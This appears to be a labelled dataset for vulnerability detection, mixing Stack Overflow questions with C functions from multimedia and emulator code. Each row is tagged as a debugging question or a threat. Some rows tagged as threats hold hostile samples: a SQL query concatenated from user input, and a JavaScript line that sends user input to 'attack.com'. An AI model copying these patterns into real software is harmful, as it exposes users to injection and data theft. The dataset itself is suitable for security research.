problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
Swift : expected type after as , Xcode 8-Beta, Swift 3 : This this code Where I'm getting the error..
This this code Where I'm getting the error..
This this code Where I'm getting the error..
This this code Where I'm getting the error..
This this code Where I'm getting the error..
[![private class func doRequest(_ urlString: String, params: \[String: String\], success: (NSDictionary) -> ()) {
if let url = URL(string: "\(urlString)?\(query(params))"){
let request = NSMutableURLRequest(
url:url
)
let session = URLSession.shared()
let task = session.dataTask(with: request) { data, response, error in
self.handleResponse(data, response: response as?, error: error, success: success)
}
task.resume()
}
}][1]][1]
[![enter image description here][1]][1]
[1]: http://i.stack.imgur.com/PDezO.png
| 0debug
|
Java - Go To Non-Static Void From Static Void? : <p>Well as my code doesn't really help very much, I wont show any unless someone needs to see some.</p>
<p>But I'll give an example of what I want to do.</p>
<p>Example: "Class1.java"</p>
<pre><code>class Class1 {
int num = 3 + 2;
public static void Main(String[] args) {
Class2.Main2();
}
}
</code></pre>
<p>Example: "Class2.java"</p>
<pre><code>class Class2 {
public void Main2() {
System.out.println(Class1.num); // Would return as an error, as you cannot access static objects from non-static objects/methods.
}
}
</code></pre>
<p>Anyone know how to allow going from one static method to another non-static method, or vice versa?</p>
<p>Thanks.</p>
| 0debug
|
How to make Unity 3d gold system : <p>I have a problem. I am facing a problem when preparing the gold system in unity 3d. I am using PlayerPrefs and the system does not work.I am collecting gold, the value is increasing, but when I go out of the game and enter the game again, the gold value is 0 again. I want the gold value to remain the same at the next entrance when I am out of play.
Can you help me please.</p>
| 0debug
|
static int mov_flush_fragment(AVFormatContext *s)
{
MOVMuxContext *mov = s->priv_data;
int i, first_track = -1;
int64_t mdat_size = 0;
if (!(mov->flags & FF_MOV_FLAG_FRAGMENT))
return 0;
if (mov->fragments == 0) {
int64_t pos = avio_tell(s->pb);
uint8_t *buf;
int buf_size, moov_size;
for (i = 0; i < mov->nb_streams; i++)
if (!mov->tracks[i].entry)
break;
if (i < mov->nb_streams)
return 0;
moov_size = get_moov_size(s);
for (i = 0; i < mov->nb_streams; i++)
mov->tracks[i].data_offset = pos + moov_size + 8;
if (mov->flags & FF_MOV_FLAG_DELAY_MOOV)
mov_write_identification(s->pb, s);
mov_write_moov_tag(s->pb, mov, s);
if (mov->flags & FF_MOV_FLAG_DELAY_MOOV) {
if (mov->flags & FF_MOV_FLAG_FASTSTART)
mov->reserved_moov_pos = avio_tell(s->pb);
avio_flush(s->pb);
mov->fragments++;
return 0;
}
buf_size = avio_close_dyn_buf(mov->mdat_buf, &buf);
mov->mdat_buf = NULL;
avio_wb32(s->pb, buf_size + 8);
ffio_wfourcc(s->pb, "mdat");
avio_write(s->pb, buf, buf_size);
av_free(buf);
mov->fragments++;
mov->mdat_size = 0;
for (i = 0; i < mov->nb_streams; i++) {
if (mov->tracks[i].entry)
mov->tracks[i].frag_start += mov->tracks[i].start_dts +
mov->tracks[i].track_duration -
mov->tracks[i].cluster[0].dts;
mov->tracks[i].entry = 0;
}
avio_flush(s->pb);
return 0;
}
for (i = 0; i < mov->nb_streams; i++) {
MOVTrack *track = &mov->tracks[i];
if (mov->flags & FF_MOV_FLAG_SEPARATE_MOOF)
track->data_offset = 0;
else
track->data_offset = mdat_size;
if (!track->mdat_buf)
continue;
mdat_size += avio_tell(track->mdat_buf);
if (first_track < 0)
first_track = i;
}
if (!mdat_size)
return 0;
for (i = 0; i < mov->nb_streams; i++) {
MOVTrack *track = &mov->tracks[i];
int buf_size, write_moof = 1, moof_tracks = -1;
uint8_t *buf;
int64_t duration = 0;
if (track->entry)
duration = track->start_dts + track->track_duration -
track->cluster[0].dts;
if (mov->flags & FF_MOV_FLAG_SEPARATE_MOOF) {
if (!track->mdat_buf)
continue;
mdat_size = avio_tell(track->mdat_buf);
moof_tracks = i;
} else {
write_moof = i == first_track;
}
if (write_moof) {
avio_flush(s->pb);
mov_write_moof_tag(s->pb, mov, moof_tracks, mdat_size);
mov->fragments++;
avio_wb32(s->pb, mdat_size + 8);
ffio_wfourcc(s->pb, "mdat");
}
if (track->entry)
track->frag_start += duration;
track->entry = 0;
if (!track->mdat_buf)
continue;
buf_size = avio_close_dyn_buf(track->mdat_buf, &buf);
track->mdat_buf = NULL;
avio_write(s->pb, buf, buf_size);
av_free(buf);
}
mov->mdat_size = 0;
avio_flush(s->pb);
return 0;
}
| 1threat
|
Is there any way of not creating temp variable for push_back()? : <pre><code>std::vector<Foo> v;
v.push_back(Foo());
</code></pre>
<p>Does this create a temp variable for Foo, or does this work like emplace_back()?</p>
| 0debug
|
Summing a number recursively and displaying it : <p>I searched for a solution to this problem quite a bit, but couldn't reach a solution. Would be great if someone can point me in the right direction.</p>
<p>Ok, so suppose there's a number :-</p>
<pre><code>0.001
</code></pre>
<p>What I want to do is, <em>add</em> 0.001 (the same number) to it again and again ever second and also display the change dynamically. </p>
<p>So :-</p>
<pre><code>second 1 :- 0.001
second 2:- 0.002
second 3 :- 0.003
</code></pre>
<p>This has to keep running for <em>1 hour</em> and I should be able to see it's value changing dynamically on my web page. How can I achieve this? I did quite a research on using <em>countup.js</em>, but no result. I thought of a solution to use ajax, but this would cause a lot of load.
Whats the best that I can do here?</p>
| 0debug
|
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
| 1threat
|
How do I disable a gcc warning which has no command line switch? : <p>I get the following warning:</p>
<pre><code>warning: 'X' is initialized and declared 'extern'
</code></pre>
<p>and it <a href="https://stackoverflow.com/a/21585233/57428">looks like it's no big deal</a> and I could disable it. Changing the code is not really a good idea in my case because I have no control over the code, I just need to compile it. So I want to disable the warning.</p>
<p>If it had a <code>-WSomeDefect</code> key next to it then I could use a <code>-Wno-SomeDefect</code> command line switch but it looks like there's no distinct switch for this warning.</p>
<p>How do I disable such warning? </p>
| 0debug
|
How to shift a index in an array 3 positions to the right in javascript using only loops : <p>how can i shift the index's of an array 3 positions to the right , and looping the index's that reach the end of the array back to the begining of the array.
Using only loops and no functions.
Array=[5,10,30,60,50,30,20,2,5]</p>
<p>Thanks</p>
| 0debug
|
Jest: mocking console.error - tests fails : <p><strong>The Problem:</strong></p>
<p>I have a simple React component I'm using to learn to test components with Jest and Enzyme. As I'm working with props, I added the <code>prop-types</code> module to check for properties in development. <code>prop-types</code> uses <code>console.error</code> to alert when mandatory props are not passed or when props are the wrong data type.</p>
<p>I wanted to mock <code>console.error</code> to count the number of times it was called by <code>prop-types</code> as I passed in missing/mis-typed props.</p>
<p>Using this simplified example component and test, I'd expect the two tests to behave as such:</p>
<ol>
<li>The first test with 0/2 required props should catch the mock calling twice.</li>
<li>The second test with 1/2 required props should catch the mock called once.</li>
</ol>
<p>Instead, I get this:</p>
<ol>
<li>The first test runs successfully.</li>
<li>The second test fails, complaining that the mock function was called zero times.</li>
<li>If I swap the order of the tests, the first works and the second fails.</li>
<li>If I split each test into an individual file, both work.</li>
<li><code>console.error</code> output is suppressed, so it's clear it's mocked for both.</li>
</ol>
<p><strong><em>I'm sure I am missing something obvious, like clearing the mock wrong or whatever.</em></strong></p>
<p>When I use the same structure against a module that exports a function, calling <code>console.error</code> some arbitrary number of times, things work. </p>
<p>It's when I test with enzyme/react that I hit this wall after the first test.</p>
<p><strong>Sample App.js:</strong></p>
<pre><code>import React, { Component } from 'react';
import PropTypes from 'prop-types';
export default class App extends Component {
render(){
return(
<div>Hello world.</div>
);
}
};
App.propTypes = {
id : PropTypes.string.isRequired,
data : PropTypes.object.isRequired
};
</code></pre>
<p><strong>Sample App.test.js</strong></p>
<pre><code>import React from 'react';
import { mount } from 'enzyme';
import App from './App';
console.error = jest.fn();
beforeEach(() => {
console.error.mockClear();
});
it('component logs two errors when no props are passed', () => {
const wrapper = mount(<App />);
expect(console.error).toHaveBeenCalledTimes(2);
});
it('component logs one error when only id is passed', () => {
const wrapper = mount(<App id="stringofstuff"/>);
expect(console.error).toHaveBeenCalledTimes(1);
});
</code></pre>
<p><strong>Final note:</strong> Yeah, it's better to write the component to generate some user friendly output when props are missing, then test for that. But once I found this behavior, I wanted to figure out what I'm doing wrong as a way to improve my understanding. Clearly, I'm missing something.</p>
| 0debug
|
window.location.href = 'http://attack.com?user=' + user_input;
| 1threat
|
void *pci_assign_dev_load_option_rom(PCIDevice *dev, struct Object *owner,
int *size, unsigned int domain,
unsigned int bus, unsigned int slot,
unsigned int function)
{
char name[32], rom_file[64];
FILE *fp;
uint8_t val;
struct stat st;
void *ptr = NULL;
if (dev->romfile || !dev->rom_bar) {
return NULL;
}
snprintf(rom_file, sizeof(rom_file),
"/sys/bus/pci/devices/%04x:%02x:%02x.%01x/rom",
domain, bus, slot, function);
if (stat(rom_file, &st)) {
if (errno != ENOENT) {
error_report("pci-assign: Invalid ROM.");
}
return NULL;
}
fp = fopen(rom_file, "r+");
if (fp == NULL) {
error_report("pci-assign: Cannot open %s: %s", rom_file, strerror(errno));
return NULL;
}
val = 1;
if (fwrite(&val, 1, 1, fp) != 1) {
goto close_rom;
}
fseek(fp, 0, SEEK_SET);
snprintf(name, sizeof(name), "%s.rom", object_get_typename(owner));
memory_region_init_ram(&dev->rom, owner, name, st.st_size, &error_abort);
vmstate_register_ram(&dev->rom, &dev->qdev);
ptr = memory_region_get_ram_ptr(&dev->rom);
memset(ptr, 0xff, st.st_size);
if (!fread(ptr, 1, st.st_size, fp)) {
error_report("pci-assign: Cannot read from host %s", rom_file);
error_printf("Device option ROM contents are probably invalid "
"(check dmesg).\nSkip option ROM probe with rombar=0, "
"or load from file with romfile=\n");
goto close_rom;
}
pci_register_bar(dev, PCI_ROM_SLOT, 0, &dev->rom);
dev->has_rom = true;
*size = st.st_size;
close_rom:
fseek(fp, 0, SEEK_SET);
val = 0;
if (!fwrite(&val, 1, 1, fp)) {
DEBUG("%s\n", "Failed to disable pci-sysfs rom file");
}
fclose(fp);
return ptr;
}
| 1threat
|
av_cold int vp56_free(AVCodecContext *avctx)
{
VP56Context *s = avctx->priv_data;
int pt;
av_freep(&s->qscale_table);
av_freep(&s->above_blocks);
av_freep(&s->macroblocks);
av_freep(&s->edge_emu_buffer_alloc);
if (s->framep[VP56_FRAME_GOLDEN]->data[0])
avctx->release_buffer(avctx, s->framep[VP56_FRAME_GOLDEN]);
if (s->framep[VP56_FRAME_GOLDEN2]->data[0])
avctx->release_buffer(avctx, s->framep[VP56_FRAME_GOLDEN2]);
if (s->framep[VP56_FRAME_PREVIOUS]->data[0])
avctx->release_buffer(avctx, s->framep[VP56_FRAME_PREVIOUS]);
return 0;
| 1threat
|
What does this mean **&a in C++ : <p>What is different between two fucntions bellow?</p>
<pre><code>void init1(int **&a, int n)
{
a = new int *[n];
for (int i = 0; i<n; i++)
a[i] = new int [n];
}
</code></pre>
<p>and</p>
<pre><code>void init1(int **a, int n)
{
a = new int *[n];
for (int i = 0; i<n; i++)
a[i] = new int [n];
}
</code></pre>
<p>Thanks,</p>
| 0debug
|
void write_video_frame(AVFormatContext *oc, AVStream *st)
{
int x, y, i, out_size;
AVCodecContext *c;
c = &st->codec;
i = frame_count++;
for(y=0;y<c->height;y++) {
for(x=0;x<c->width;x++) {
picture->data[0][y * picture->linesize[0] + x] = x + y + i * 3;
}
}
for(y=0;y<c->height/2;y++) {
for(x=0;x<c->width/2;x++) {
picture->data[1][y * picture->linesize[1] + x] = 128 + y + i * 2;
picture->data[2][y * picture->linesize[2] + x] = 64 + x + i * 5;
}
}
out_size = avcodec_encode_video(c, video_outbuf, video_outbuf_size, picture);
if (av_write_frame(oc, st->index, video_outbuf, out_size) != 0) {
fprintf(stderr, "Error while writing video frame\n");
exit(1);
}
}
| 1threat
|
Cannot mock final Kotlin class using Mockito 2 : <p>I am unable to mock a Kotlin final class using Mockito 2. I am using Robolectric in addition.</p>
<p>This is my test code:</p>
<pre><code>@RunWith(RobolectricTestRunner.class)
@Config(constants = BuildConfig.class, sdk = 21)
public class Test {
// more mocks
@Mock
MyKotlinLoader kotlinLoader;
@Before
public void setUp() {
MockitoAnnotations.initMocks(this);
}
}
</code></pre>
<p>The test fails when we try to initialise the mocks in the <code>setUp()</code> method.</p>
<p>In addition, I am using the following gradle dependencies in my code:</p>
<pre><code>testCompile 'org.robolectric:robolectric:3.3.2'
testCompile 'org.robolectric:shadows-multidex:3.3.2'
testCompile 'org.robolectric:shadows-support-v4:3.3.2'
testCompile("org.powermock:powermock-api-mockito2:1.7.0") {
exclude module: 'hamcrest-core'
exclude module: 'objenesis'
}
testCompile 'junit:junit:4.12'
testCompile 'org.mockito:mockito-inline:2.8.9'
</code></pre>
<p>All other unit tests pass using this configuration but as soon as I try to mock the Kotlin class it throws the following error:</p>
<p><code>Mockito cannot mock/spy because :
- final class</code></p>
<p>Please note I am using Mockito version 2 and I am using the <code>inline</code> dependency which automatically enables the ability to mock final classes.</p>
| 0debug
|
Typescript ReturnType of generic function : <p>The new <code>ReturnType</code> in <a href="https://github.com/Microsoft/TypeScript/wiki/What's-new-in-TypeScript#type-inference-in-conditional-types" rel="noreferrer">TypeScript 2.8</a> is a really useful feature that lets you extract the return type of a particular function.</p>
<pre><code>function foo(e: number): number {
return e;
}
type fooReturn = ReturnType<typeof foo>; // number
</code></pre>
<p>However, I'm having trouble using it in the context of generic functions.</p>
<pre><code>function foo<T>(e: T): T {
return e;
}
type fooReturn = ReturnType<typeof foo>; // type fooReturn = {}
type fooReturn = ReturnType<typeof foo<number>>; // syntax error
type fooReturn = ReturnType<(typeof foo)<number>>; // syntax error
</code></pre>
<p>Is there a way extract the return type that a generic function would have given particular type parameters?</p>
| 0debug
|
Force Matlab to run a deep learning code on CPU instead of GPU : I don't have CUDA-enabled NVIDIA GPU and I want to force matlab to run the code on CPU instead of GPU (yes I know, it will be very very slow). How can I do it?
As an example, lets try to run [this code][1]. Here is the error given by Matlab:
There is a problem with the CUDA driver or with this GPU device.
Be sure that you have a supported GPU and that the latest driver is installed.
Error in nnet.internal.cnn.SeriesNetwork/activations (line 48)
output = gpuArray(data);
Error in SeriesNetwork/activations (line 269)
YChannelFormat = predictNetwork.activations(X, layerID);
Error in DeepLearningImageClassificationExample (line 262)
trainingFeatures = activations(convnet, trainingSet, featureLayer, ...
Caused by:
The CUDA driver could not be loaded. The library name used was 'nvcuda.dll'. The error was:
The specified module could not be found.
[1]: http://it.mathworks.com/help/vision/examples/image-category-classification-using-deep-learning.html
| 0debug
|
SWIFT -- Alamofire “Info.plist” couldn’t be opened because there is no such file : I'M USING ALAMOFIRE IN MY PROJECT. BUT I'M NOT USING IT WITH COCOAPODS. I JUST DRAG AND DROPPED IT IN MY PROJECT AS SHOW IN ALAMOFIREGITHUB TUTORIAL. NOW I'M FACING AN ISSUE THAT WHILE COMPILING THE PROJECT IT'S SHOWING "Alamofire “Info.plist” couldn’t be opened because there is no such file".
I TRIED DELETING DERIVED DATA AND EVERYTHING WHICH WAS SHOWN IN WEB.
PLEASE GIVE ME SOLUTION FOR THIS
| 0debug
|
Jenkins Job - DatabaseError: file is encrypted or is not a database : <p>When running this code for connecting to a db through cmd - locally and on the actual server it works fine. But I have set it up on Jenkins and receive the error: </p>
<pre><code>DatabaseError: file is encrypted or is not a database
</code></pre>
<p>It seems to be happening on this line:</p>
<pre><code> self.cursor.execute(*args)
</code></pre>
<p>The database class is:</p>
<pre><code>class DatabaseManager(object):
def __init__(self, db):
self.conn = sqlite3.connect(db)
self.cursor = self.conn.cursor()
def query(self, *args):
self.cursor.execute(*args)
self.conn.commit()
return self.cursor
def __del__(self):
self.conn.close()
</code></pre>
| 0debug
|
saving the returnin value of fork in a variable in C : <p>I am a bit confused about the value which the function fork returns. I understand that value <code>0</code> is for <code>child</code> process and value <code>>0</code> is for <code>parent</code> process.
I have the code below</p>
<pre><code>int main()
{
int pid;
pid = fork();
if(pid == 0)
//DO SOMETHING
else
//DO SOMETHING ELSE
return 0;
}
</code></pre>
<p>The valiable <code>pid</code> after fork is different for each process ?
I can't understand how it switches value. And I have a second part with code </p>
<pre><code>int main()
{
int pid;
if (pid == 0)
{
return 5;
}
printf("parent = %d waits for child = %d ", getpid(), pid);
waitpid(pid, NULL, 0);
printf("child terminates!")
return 0;
}
</code></pre>
<p>in which I can't understand why pid on line with first <code>printf</code> has the value of child. It shouldn't be the <code>id</code> of parent ?</p>
| 0debug
|
Does anyone know how to change from AutoIT code to Java? : <p>I have the following AutoIT code and I'd like to know how to migrate/translate to Java</p>
<p>AutoIT:</p>
<pre><code> AutoItSetOption("WinTitleMatchMode","20")
WinWait("Authentication Required")
While WinExists("Authentication Required")
Opt("SendKeyDelay", 50)
$title = WinGetTitle("Authentication Required") ; retrieves whole window title
$UN=WinGetText($title,"User Name:")
ControlSend($title,"",$UN,"[email protected]{TAB}");Sets Username and {TAB}
$PWD=WinGetText($title,"Password:")
ControlSend($title,"",$PWD,"mypassword");Sets PWD and {ENTER}
ControlSend($title,"",$PWD,"{ENTER}");
Sleep(2000)
WEnd
Exit
</code></pre>
<p>This is what I tried to convert to Java:</p>
<pre><code>public void shouldEnterCredentials() throws Throwable {
try {
File file = new File("lib", "jacob-1.18-x64.dll"); //path to the jacob dll
System.setProperty(LibraryLoader.JACOB_DLL_PATH, file.getAbsolutePath());
AutoItX x = new AutoItX();
String title = x.winGetTitle("Authentication Required");
String un = x.winGetText(title,"User Name:");
String pwd = x.winGetText(title,"Password:");
x.autoItSetOption("WinTitleMatchMode","20");
x.winWait("Authentication Required");
while (x.winExists("Authentication Required")){
x.autoItSetOption("OPT_SEND_KEY_DELAY", "50");
x.controlSend(title,"", un, "[email protected]{TAB}"); //Sets Username and {TAB}
x.controlSend(title,"",pwd,"mypassword"); //Sets PWD and {ENTER}
x.controlSend(title, "", pwd,"{ENTER}");
x.sleep(2000);
}
} catch (Exception e) {
System.out.println("Error: " + e.getStackTrace());
}
}
</code></pre>
<p>Can anyone help me, please?</p>
| 0debug
|
Pandas boolean statements : I am working with some messy EPA data that desperately needs to be cleaned up. It looks something like this:
----------
id 1 2 3 4
1 ph temp alk cond
2 ph temp alk cond
3 temp ph cond alk
4 temp alk cond ph
----------
We would like to make new columns 'ph', 'temp', 'alk', 'cond', etc. while maintaining everything else in the row.
| 0debug
|
char *socket_address_to_string(struct SocketAddress *addr, Error **errp)
{
char *buf;
InetSocketAddress *inet;
switch (addr->type) {
case SOCKET_ADDRESS_KIND_INET:
inet = addr->u.inet.data;
if (strchr(inet->host, ':') == NULL) {
buf = g_strdup_printf("%s:%s", inet->host, inet->port);
} else {
buf = g_strdup_printf("[%s]:%s", inet->host, inet->port);
}
break;
case SOCKET_ADDRESS_KIND_UNIX:
buf = g_strdup(addr->u.q_unix.data->path);
break;
case SOCKET_ADDRESS_KIND_FD:
buf = g_strdup(addr->u.fd.data->str);
break;
case SOCKET_ADDRESS_KIND_VSOCK:
buf = g_strdup_printf("%s:%s",
addr->u.vsock.data->cid,
addr->u.vsock.data->port);
break;
default:
abort();
}
return buf;
}
| 1threat
|
int read_ffserver_streams(AVFormatContext *s, const char *filename)
{
int i;
AVFormatContext *ic;
ic = av_open_input_file(filename, FFM_PACKET_SIZE);
if (!ic)
return -EIO;
s->nb_streams = ic->nb_streams;
for(i=0;i<ic->nb_streams;i++) {
AVStream *st;
st = av_mallocz(sizeof(AVFormatContext));
memcpy(st, ic->streams[i], sizeof(AVStream));
s->streams[i] = st;
}
av_close_input_file(ic);
return 0;
}
| 1threat
|
static void nic_reset(void *opaque)
{
EEPRO100State *s = opaque;
TRACE(OTHER, logout("%p\n", s));
memset(&s->mult[0], 0, sizeof(s->mult));
nic_selective_reset(s);
}
| 1threat
|
PHP: Namespce and calling one class into other : I have two classes, `Class1` and `Class2` which are under namespace `myNameSpace`
I want to create instance of `Class2` in class` and I am getting error in implementing file `Class 'myNameSpace\Class2' not found in.. `. Code given below:
**Class1.php**
namespace myNameSpace {
use myNameSpace\Class2;
class Class1
{
public function myMethod()
{
$obj = new Class2();
}
}
**call.php**
namespace myNameSpace {
include 'Class1.php';
error_reporting(E_ALL);
ini_set('display_errors',1);
use myNameSpace\Class1;
$o = new Class1();
$o->myMethod();
}
| 0debug
|
How can I forecast a 2000 vehicles engine hours separately using R language? : <p>machines: m1, m2, m3,... m2000
date: 2016, 2016, 2016...2016
engine hours: 200, 300, 30,....700.
Think each machine has some 200 rows of data in 2016, how can I forecast engine hours for 2017 for all 2000 machines.</p>
| 0debug
|
static int find_image_range(int *pfirst_index, int *plast_index,
const char *path, int start_index, int start_index_range)
{
char buf[1024];
int range, last_index, range1, first_index;
for (first_index = start_index; first_index < start_index + start_index_range; first_index++) {
if (av_get_frame_filename(buf, sizeof(buf), path, first_index) < 0) {
*pfirst_index =
*plast_index = 1;
if (avio_check(buf, AVIO_FLAG_READ) > 0)
return 0;
return -1;
}
if (avio_check(buf, AVIO_FLAG_READ) > 0)
break;
}
if (first_index == start_index + start_index_range)
goto fail;
last_index = first_index;
for (;;) {
range = 0;
for (;;) {
if (!range)
range1 = 1;
else
range1 = 2 * range;
if (av_get_frame_filename(buf, sizeof(buf), path,
last_index + range1) < 0)
goto fail;
if (avio_check(buf, AVIO_FLAG_READ) <= 0)
break;
range = range1;
if (range >= (1 << 30))
goto fail;
}
if (!range)
break;
last_index += range;
}
*pfirst_index = first_index;
*plast_index = last_index;
return 0;
fail:
return -1;
}
| 1threat
|
C++ find whitespaces in substring : <p>I want to know how can I find empty or whitespaces within substring in C++. For example:</p>
<pre><code>string str = "( )"; // or str = "()"
</code></pre>
<p>Here, I want to make sure there is always something in between parenthesis. Function isspace() takes only one character so I have to search in loop. Is there any better way to do this? Thanks for your help.</p>
| 0debug
|
Equal height double column using css : <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>#DIV_1 {
bottom: -10px;
height: 176px;
left: 0px;
position: relative;
right: 0px;
text-align: left;
top: 10px;
width: 379px;
perspective-origin: 189.5px 88px;
transform-origin: 189.5px 88px;
background: rgb(238, 238, 238) none repeat scroll 0% 0% / auto padding-box border-box;
font: normal normal normal normal 14px / normal "Lucida Grande", Helvetica, Arial, sans-serif;
list-style: none outside none;
margin: 0px 0px -5px;
overflow: hidden;
}/*#DIV_1*/
#DIV_2 {
box-sizing: border-box;
float: left;
height: 77px;
text-align: center;
width: 189.5px;
perspective-origin: 94.75px 38.5px;
transform-origin: 94.75px 38.5px;
border-right: 5px solid rgb(255, 255, 255);
font: normal normal normal normal 14px / normal "Lucida Grande", Helvetica, Arial, sans-serif;
list-style: none outside none;
padding: 30px;
}/*#DIV_2*/
#DIV_3 {
box-sizing: border-box;
float: left;
height: 77px;
text-align: center;
width: 189.5px;
perspective-origin: 94.75px 38.5px;
transform-origin: 94.75px 38.5px;
font: normal normal normal normal 14px / normal "Lucida Grande", Helvetica, Arial, sans-serif;
list-style: none outside none;
padding: 30px;
}/*#DIV_3*/
#DIV_4 {
box-sizing: border-box;
color: rgb(255, 255, 255);
float: left;
height: 99px;
text-align: center;
width: 189.5px;
column-rule-color: rgb(255, 255, 255);
perspective-origin: 94.75px 49.5px;
transform-origin: 94.75px 49.5px;
background: rgb(192, 57, 43) none repeat scroll 0% 0% / auto padding-box border-box;
border-top: 5px solid rgb(255, 255, 255);
border-right: 5px solid rgb(255, 255, 255);
border-bottom: 0px none rgb(255, 255, 255);
border-left: 0px none rgb(255, 255, 255);
font: normal normal bold normal 14px / normal "Lucida Grande", Helvetica, Arial, sans-serif;
list-style: none outside none;
outline: rgb(255, 255, 255) none 0px;
padding: 30px;
}/*#DIV_4*/
#DIV_5 {
box-sizing: border-box;
color: rgb(255, 255, 255);
float: left;
height: 82px;
text-align: center;
width: 189.5px;
column-rule-color: rgb(255, 255, 255);
perspective-origin: 94.75px 41px;
transform-origin: 94.75px 41px;
background: rgb(142, 68, 173) none repeat scroll 0% 0% / auto padding-box border-box;
border-top: 5px solid rgb(255, 255, 255);
border-right: 0px none rgb(255, 255, 255);
border-bottom: 0px none rgb(255, 255, 255);
border-left: 0px none rgb(255, 255, 255);
font: normal normal bold normal 14px / normal "Lucida Grande", Helvetica, Arial, sans-serif;
list-style: none outside none;
outline: rgb(255, 255, 255) none 0px;
padding: 30px;
}/*#DIV_5*/</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div id="DIV_1">
<div id="DIV_2">
Ben Franklin
</div>
<div id="DIV_3">
Thomas Jefferson
</div>
<div id="DIV_4">
George Washington
</div>
<div id="DIV_5">
Abraham Lincoln
</div>
</div></code></pre>
</div>
</div>
</p>
<p>I have 2 column that its content might have different length, thus it will have multiple lines, so how do I ensure that the least line of content have the equal height? I can't use fixed height like <code>height:100px;</code> because the length of the content might be more than that.</p>
| 0debug
|
static void thread_pool_completion_bh(void *opaque)
{
ThreadPool *pool = opaque;
ThreadPoolElement *elem, *next;
aio_context_acquire(pool->ctx);
restart:
QLIST_FOREACH_SAFE(elem, &pool->head, all, next) {
if (elem->state != THREAD_DONE) {
continue;
}
trace_thread_pool_complete(pool, elem, elem->common.opaque,
elem->ret);
QLIST_REMOVE(elem, all);
if (elem->common.cb) {
smp_rmb();
/* Schedule ourselves in case elem->common.cb() calls aio_poll() to
* wait for another request that completed at the same time.
qemu_bh_schedule(pool->completion_bh);
aio_context_release(pool->ctx);
elem->common.cb(elem->common.opaque, elem->ret);
aio_context_acquire(pool->ctx);
qemu_aio_unref(elem);
goto restart;
} else {
qemu_aio_unref(elem);
}
}
aio_context_release(pool->ctx);
}
| 1threat
|
av_cold void ff_dsputil_init(DSPContext* c, AVCodecContext *avctx)
{
int i;
ff_check_alignment();
#if CONFIG_ENCODERS
if (avctx->bits_per_raw_sample == 10) {
c->fdct = ff_jpeg_fdct_islow_10;
c->fdct248 = ff_fdct248_islow_10;
} else {
if(avctx->dct_algo==FF_DCT_FASTINT) {
c->fdct = ff_fdct_ifast;
c->fdct248 = ff_fdct_ifast248;
}
else if(avctx->dct_algo==FF_DCT_FAAN) {
c->fdct = ff_faandct;
c->fdct248 = ff_faandct248;
}
else {
c->fdct = ff_jpeg_fdct_islow_8;
c->fdct248 = ff_fdct248_islow_8;
}
}
#endif
if (avctx->bits_per_raw_sample == 10) {
c->idct_put = ff_simple_idct_put_10;
c->idct_add = ff_simple_idct_add_10;
c->idct = ff_simple_idct_10;
c->idct_permutation_type = FF_NO_IDCT_PERM;
} else {
if(avctx->idct_algo==FF_IDCT_INT){
c->idct_put= ff_jref_idct_put;
c->idct_add= ff_jref_idct_add;
c->idct = ff_j_rev_dct;
c->idct_permutation_type= FF_LIBMPEG2_IDCT_PERM;
}else if((CONFIG_VP3_DECODER || CONFIG_VP5_DECODER || CONFIG_VP6_DECODER ) &&
avctx->idct_algo==FF_IDCT_VP3){
c->idct_put= ff_vp3_idct_put_c;
c->idct_add= ff_vp3_idct_add_c;
c->idct = ff_vp3_idct_c;
c->idct_permutation_type= FF_NO_IDCT_PERM;
}else if(avctx->idct_algo==FF_IDCT_WMV2){
c->idct_put= ff_wmv2_idct_put_c;
c->idct_add= ff_wmv2_idct_add_c;
c->idct = ff_wmv2_idct_c;
c->idct_permutation_type= FF_NO_IDCT_PERM;
}else if(avctx->idct_algo==FF_IDCT_FAAN){
c->idct_put= ff_faanidct_put;
c->idct_add= ff_faanidct_add;
c->idct = ff_faanidct;
c->idct_permutation_type= FF_NO_IDCT_PERM;
}else if(CONFIG_EATGQ_DECODER && avctx->idct_algo==FF_IDCT_EA) {
c->idct_put= ff_ea_idct_put_c;
c->idct_permutation_type= FF_NO_IDCT_PERM;
}else{
c->idct_put = ff_simple_idct_put_8;
c->idct_add = ff_simple_idct_add_8;
c->idct = ff_simple_idct_8;
c->idct_permutation_type= FF_NO_IDCT_PERM;
}
}
c->diff_pixels = diff_pixels_c;
c->put_pixels_clamped = ff_put_pixels_clamped_c;
c->put_signed_pixels_clamped = ff_put_signed_pixels_clamped_c;
c->add_pixels_clamped = ff_add_pixels_clamped_c;
c->sum_abs_dctelem = sum_abs_dctelem_c;
c->gmc1 = gmc1_c;
c->gmc = ff_gmc_c;
c->pix_sum = pix_sum_c;
c->pix_norm1 = pix_norm1_c;
c->fill_block_tab[0] = fill_block16_c;
c->fill_block_tab[1] = fill_block8_c;
c->pix_abs[0][0] = pix_abs16_c;
c->pix_abs[0][1] = pix_abs16_x2_c;
c->pix_abs[0][2] = pix_abs16_y2_c;
c->pix_abs[0][3] = pix_abs16_xy2_c;
c->pix_abs[1][0] = pix_abs8_c;
c->pix_abs[1][1] = pix_abs8_x2_c;
c->pix_abs[1][2] = pix_abs8_y2_c;
c->pix_abs[1][3] = pix_abs8_xy2_c;
c->put_tpel_pixels_tab[ 0] = put_tpel_pixels_mc00_c;
c->put_tpel_pixels_tab[ 1] = put_tpel_pixels_mc10_c;
c->put_tpel_pixels_tab[ 2] = put_tpel_pixels_mc20_c;
c->put_tpel_pixels_tab[ 4] = put_tpel_pixels_mc01_c;
c->put_tpel_pixels_tab[ 5] = put_tpel_pixels_mc11_c;
c->put_tpel_pixels_tab[ 6] = put_tpel_pixels_mc21_c;
c->put_tpel_pixels_tab[ 8] = put_tpel_pixels_mc02_c;
c->put_tpel_pixels_tab[ 9] = put_tpel_pixels_mc12_c;
c->put_tpel_pixels_tab[10] = put_tpel_pixels_mc22_c;
c->avg_tpel_pixels_tab[ 0] = avg_tpel_pixels_mc00_c;
c->avg_tpel_pixels_tab[ 1] = avg_tpel_pixels_mc10_c;
c->avg_tpel_pixels_tab[ 2] = avg_tpel_pixels_mc20_c;
c->avg_tpel_pixels_tab[ 4] = avg_tpel_pixels_mc01_c;
c->avg_tpel_pixels_tab[ 5] = avg_tpel_pixels_mc11_c;
c->avg_tpel_pixels_tab[ 6] = avg_tpel_pixels_mc21_c;
